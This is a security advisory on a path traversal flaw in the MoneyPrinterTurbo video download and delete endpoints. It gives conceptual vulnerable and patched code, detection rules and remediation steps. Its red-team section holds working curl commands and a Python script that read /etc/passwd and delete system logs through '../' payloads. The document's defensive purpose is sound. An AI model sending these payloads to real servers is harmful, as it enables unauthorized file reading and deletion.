CVE-2025-7896

Executive Summary

CVE-2025-7896 is a critical path traversal vulnerability identified in the download_video and delete_video functions within app/controllers/v1/video.py of the harry0703 MoneyPrinterTurbo application, up to version 1.2.6. This flaw allows a remote, unauthenticated attacker to manipulate file paths, potentially leading to unauthorized read, write, or deletion of arbitrary files on the server. The vulnerability is classified as critical due to its low attack complexity and network-based attack vector. No public proof-of-concept (PoC) or patch is currently available, increasing the risk for unpatched deployments.

Supply Chain & Package Security

MoneyPrinterTurbo is a Python-based application. The vulnerability resides in the application's own code, not in a third-party package. However, the lack of a patch and the critical nature of the flaw mean that any deployment of MoneyPrinterTurbo <= 1.2.6 is at risk. Organizations using this software should treat it as a supply chain risk and immediately isolate or upgrade affected instances.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the description and CWE, a realistic CVSS v3.1 vector is:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)
  • Base Score: 9.8 (Critical)

• Threat Level: Critical. The vulnerability can be exploited remotely without authentication, leading to full file system compromise.

Deep Dive & Mechanics

The vulnerability exists in the download_video and delete_video functions within app/controllers/v1/video.py. These functions likely accept a user-supplied parameter (e.g., a filename or path) and use it to construct a file path without proper sanitization. An attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and access or manipulate files outside of it.

Example vulnerable code pattern:

def download_video(filename):
    path = "/app/videos/" + filename
    with open(path, "rb") as f:
        return f.read()

An attacker could request /download_video?filename=../../etc/passwd to read the system's password file.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the download_video and delete_video functions. A patched version would include input validation and path sanitization.

Vulnerable Code (Conceptual):

def download_video(filename):
    # No sanitization
    filepath = os.path.join(UPLOAD_DIR, filename)
    return send_file(filepath)

Patched Code (Conceptual):

import os

def download_video(filename):
    # Sanitize: ensure filename is a simple basename
    safe_filename = os.path.basename(filename)
    filepath = os.path.join(UPLOAD_DIR, safe_filename)
    # Additional check: ensure the resolved path is within UPLOAD_DIR
    real_path = os.path.realpath(filepath)
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        abort(403)
    return send_file(real_path)

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of MoneyPrinterTurbo <= 1.2.6.
• Network access to the application's API endpoints.

Exploitation Steps:

1. Identify the vulnerable endpoints (e.g., /api/v1/video/download or /api/v1/video/delete).
2. Craft a request with path traversal payloads:

   curl "http://target:5000/api/v1/video/download?filename=../../../etc/passwd"
   

3. For file deletion:

   curl -X POST "http://target:5000/api/v1/video/delete" -d "filename=../../../var/log/syslog"
   

4. Automate with a script:

   import requests
   
   target = "http://target:5000"
   payload = "../../../etc/passwd"
   r = requests.get(f"{target}/api/v1/video/download", params={"filename": payload})
   print(r.text)
   

Blue Team (Defense & Detection)

Detection:

• Monitor for requests containing ../ or ..\\ in query parameters or POST bodies.
• Alert on attempts to access files outside the application's designated directories (e.g., /app/videos/).

Prevention:

• Implement strict input validation and path sanitization.
• Use a whitelist of allowed filenames or characters.
• Run the application in a container with minimal file system permissions.
• Deploy a Web Application Firewall (WAF) with rules to block path traversal patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with ../ or ..\\ in the filename parameter.
  • Requests to /api/v1/video/download or /api/v1/video/delete with suspicious paths.
  • Outbound connections from the server to unknown IPs (if data exfiltration occurs).

• File System IOCs:

  • Unexpected files in the application's upload directory.
  • Missing or altered system files (e.g., /etc/passwd modified).
  • Log entries showing access to files outside the intended directory.

• Log IOCs:

  • Application logs containing path traversal patterns.
  • Web server logs with 200 responses to path traversal requests.

Detection Engineering

YARA Rule

rule CVE_2025_7896_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting MoneyPrinterTurbo CVE-2025-7896"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7896"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $endpoint1 = "/api/v1/video/download"
        $endpoint2 = "/api/v1/video/delete"
    condition:
        any of ($endpoint*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-7896 Path Traversal in MoneyPrinterTurbo
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in MoneyPrinterTurbo download/delete endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'POST'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains:
            - '/api/v1/video/download'
            - '/api/v1/video/delete'
    condition: selection
falsepositives:
    - Legitimate use of '..' in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7896 Path Traversal in MoneyPrinterTurbo"; flow:to_server; content:"/api/v1/video/download"; http_uri; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-7896 Path Traversal in MoneyPrinterTurbo"; flow:to_server; content:"/api/v1/video/delete"; http_uri; content:"../"; http_uri; distance:0; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected instances from the network if possible.
2. Disable the vulnerable endpoints (download_video and delete_video) until a patch is applied.
3. Monitor logs for signs of exploitation.

Long-term Fix:

• Apply input validation and path sanitization as shown in the patched code example.
• Use a secure file handling library that prevents path traversal.
• Implement a Web Application Firewall (WAF) with rules to block path traversal patterns.
• Regularly update the application and its dependencies.

Workaround:

• If source code is accessible, manually patch the vulnerable functions by adding path sanitization.
• Restrict file system permissions so the application can only write to its designated directory.

Valters IT